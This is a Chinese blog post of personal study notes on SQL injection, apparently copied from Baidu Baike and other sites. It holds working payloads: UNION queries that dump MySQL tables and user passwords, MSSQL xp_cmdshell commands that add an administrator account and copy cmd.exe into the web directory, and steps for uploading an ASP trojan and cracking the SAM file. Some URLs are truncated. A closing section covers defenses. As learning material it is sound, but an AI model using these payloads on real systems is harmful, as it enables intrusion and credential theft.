SQL注入学习过程

转自百度百科以及网络上的其他资源,只是为了个人学习

https://baike.baidu.com/item/SQL注入攻击/4766224

关于注入点:
好了,我们言归正传,要sql注入,首先要找到sql注入点,注入点是什么?就是你可以用来注入的地址,比如说某个请求会发送某个参数,而这个参数在后台用于作为数据库查询的拼接字段,且未完全过滤,那么这个点就有可能是一个注入点。事实上,注入点在参数不同的时候通常会有不同的表现(可以用来实现盲注),或者会有相应的错误提示。关于注入点,这里不是我们要讨论的重点,找注入点通常是个大工程,实在非人力可为,可以尝试利用工具找到注入点后,再进行人工注入。
识别SQL注入漏洞有一种简单的规则:
通过发送异常数据来触发异常。
规则含义:
识别web应用上所有的数据输入
在这里插入图片描述
在这里插入图片描述
了解哪种类型的请求回触发异常。
检测服务器响应中的异常

sql注入分类:
sql注入根据注入数据类型,通常可分为数字型和字符型;根据注入方式,通常可分为基于错误提示、双注入和盲注等,盲注又可以分为根据时间响应的和基于条件的。
Get注入、Post注入、Cookies注入等。

SQL 注入产生条件
有参数传递
参数值带入数据库查询并且执行
产生过程
如果web应用开发人员无法确保在将从web表单、cookie、输入参数等收到的值传递给SQL查询之前已经对其进行验证,那么通常会引起SQL注入。
如果攻击者攻击者能够控制发送给SQL查询的输入,并且能操纵该输入将其解析为代码而非数据,那么攻击者就可能有能力在后台数据库上执行该代码。
如果应用开发人员无法彻底理解与他们交互的基础数据库或无法完全理解并意识到所开发代码潜在的安全问题,那么他们编写的应用程序通常是不安全了,并且容易受到SQL注入攻击。

盲注
假设发现了一个SQL注入点,但应用只提供了一个通用的错误页面;或者虽然提供了正常的页面,但与我们取回的内容存在一些小的差异(可见或不可见),这些都属于盲注。SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的攻击技术。
(1)如何寻找并确认盲注
强制产生通用错误
应用中经常使用通用的错误页面来替换数据库错误,即时出现通用错误页面,也可以推断SQL注入是否可行。如果应用只在提交单引号或其中的一个变量时才产生通用的错误页面,那么很可能存在SQL盲注。提交单引号是最常见的错误源受损的SQL查询。
注入带副作用的查询
最常用的是使用(timing attack)来确认攻击者的SQL是否已执行。有时也可以利用攻击者能够观察到的输出进行判断。
拆分与平衡
分解合法输入的操作称为拆分,平衡保证最终的查询中不会包含不平衡的结尾单引号。
基本思想:收集合法的请求参数,之后使用SQL关键字对他们进行修改以保证与原数据不同,但当数据库解析他们时,二者的功能是等价的
基于时间的盲注
所有响应都会包含一种属性:发出请求到响应到达这段时间的差异。当某一状态为真时,能够让响应暂停几秒,而当状态为假时,能够不出现暂停。
基于响应的盲注
通过仔细检查响应中的数据(包括内容和头)来推断状态。推断状态时,借助响应中包含的文本或在检查特定值时强制产生的错误。产生的错误类型是运行时错误而非查询编译错误。

常用步骤:

(一)发现SQL注入位置;
1.整形参数的判断

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一单引号),此时abc.ASP中SQL语句变成了 select * from 表名 where 字段 =YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2,abc.asp运行异常;
2.字符型参数的判断
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了 select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … 39;1’=‘1’,abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … 39;1’=‘2’,abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3.特殊类型参数的判断
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在ⅡS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCⅡ码法:可以把输入的部分或全部字符全部用ASCⅡ码代替,如U=chr(85),a=chr(97)等。

(二)判断后台数据库类型;
首先查询数据库名称
输入 1’ union select 1,database() #,就可以在网页前端返回数据库名称
在查询数据库表名(主要目的是拿到后台管理员密码)
输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat() 是一个函数,将同一个id的其他字段合并起来。 table_name,顾名思义,就是表名的意思。
information_schema.tables 是MySQL提供的自带的数据库,主要是提供用户自行建立的一些表的信息。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
table_schema=database() 是指数据库名称为database()。
获取字段名
输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
获取数据库的详细内容
输入1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

⒈利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
⒉利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVER,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
⒊MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每个数据库在表中占一行,该表只存储在 master 数据库中,保存了所有的库名,以及库的ID和一些相关信息。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。

(三)确定XP_CMDSHELL可执行情况;
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,
⒈HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
⒉HTTP://xxx.xxx.xxx/abc.asp?p=YY … me()>0 abc.asp执行异常但可以得到当前连接的数据库名。
⒊HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master…xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
⒋HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master…xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加的帐户aaa加到administrators组中。
⒌HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk=‘c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
⒍通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe … dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

(四)发现WEB虚拟目录;
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

(五)上传ASP木马;
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
⒈利用WEB的远程管理功能
获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、 注入法:
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。

(六)得到管理员权限;
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。

(七)防御SQL注入
归根到底,需要对用户的输入进行过滤,因为在Web攻防中,我们永远不要相信用户的输入 1。
1.使用预编译语句,绑定变量。
2.使用安全的存储过程对抗SQL注入。
3.检查数据类型。
4.使用安全函数
1.(简单又有效的方法)PreparedStatement
采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
使用好处:
(1).代码的可读性和可维护性.
(2).PreparedStatement尽最大可能提高性能.
(3).最重要的一点是极大地提高了安全性.
原理:
sql注入只对sql语句的准备(编译)过程有破坏作用
而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,
而不再对sql语句进行解析,准备,因此也就避免了sql注入问题.
2.使用正则表达式过滤传入的参数
3.字符串过滤
4.jsp中调用该函数检查是否包函非法字符
5.JSP页面判断代码:
使用javascript在客户端进行不安全字符屏蔽
总的说来,防范一般的SQL注入只要在代码规范上下点功夫就可以了。
凡涉及到执行的SQL中有变量时,用JDBC(或者其他数据持久层)提供的如:PreparedStatement就可以 ,切记不要用拼接字符串的方法就可以了。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值